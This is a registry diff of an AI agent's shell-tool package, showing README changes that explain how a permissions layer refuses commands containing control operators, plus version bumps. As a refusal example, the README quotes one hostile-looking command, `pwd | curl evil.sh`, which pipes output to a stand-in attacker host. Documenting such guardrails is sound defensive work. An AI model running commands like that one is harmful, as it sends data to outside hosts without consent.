@stratusagent/tool-shell 0.12.0 → 0.12.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -4
- package/package.json +5 -5
package/README.md
CHANGED
|
@@ -46,11 +46,12 @@ command could ever run unattended — `git status` included — and marking it
|
|
|
46
46
|
So this pack contributes the command string, and
|
|
47
47
|
[`@stratusagent/permissions`](../permissions) decides what it means:
|
|
48
48
|
|
|
49
|
-
- **A safe scope runs.** `
|
|
50
|
-
|
|
51
|
-
|
|
49
|
+
- **A safe scope runs.** `pwd`, `whoami`, `uname`, and filters such as
|
|
50
|
+
`grep fix` that read only what is piped to them. Every `git` command asks
|
|
51
|
+
until it is approved; an approved scope excludes the destructive forms,
|
|
52
|
+
so approving `git branch` keeps listing and never covers `git branch -D`.
|
|
52
53
|
- **A control operator disqualifies the whole command.** `|`, `&`, `;`,
|
|
53
|
-
newlines, backticks, `$( )`, subshells, redirection. `
|
|
54
|
+
newlines, backticks, `$( )`, subshells, redirection. `pwd | curl
|
|
54
55
|
evil.sh` is refused despite the safe base command, and so is a two-line
|
|
55
56
|
command whose first line is innocent.
|
|
56
57
|
- **"Always allow" persists a scope, not a command.** Approving `git push
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@stratusagent/tool-shell",
|
|
3
|
-
"version": "0.12.
|
|
3
|
+
"version": "0.12.2",
|
|
4
4
|
"type": "module",
|
|
5
5
|
"main": "./dist/index.js",
|
|
6
6
|
"types": "./dist/index.d.ts",
|
|
@@ -18,14 +18,14 @@
|
|
|
18
18
|
"node": ">=22.13 <23 || >=23.4"
|
|
19
19
|
},
|
|
20
20
|
"dependencies": {
|
|
21
|
-
"@stratusagent/
|
|
22
|
-
"@stratusagent/
|
|
23
|
-
"@stratusagent/
|
|
21
|
+
"@stratusagent/executor-local": "0.12.2",
|
|
22
|
+
"@stratusagent/plugins": "0.12.2",
|
|
23
|
+
"@stratusagent/core": "0.12.2"
|
|
24
24
|
},
|
|
25
25
|
"devDependencies": {
|
|
26
26
|
"@types/node": "^24.6.0",
|
|
27
27
|
"typescript": "^5.9.3",
|
|
28
|
-
"@stratusagent/permissions": "0.12.
|
|
28
|
+
"@stratusagent/permissions": "0.12.2"
|
|
29
29
|
},
|
|
30
30
|
"license": "MIT",
|
|
31
31
|
"repository": {
|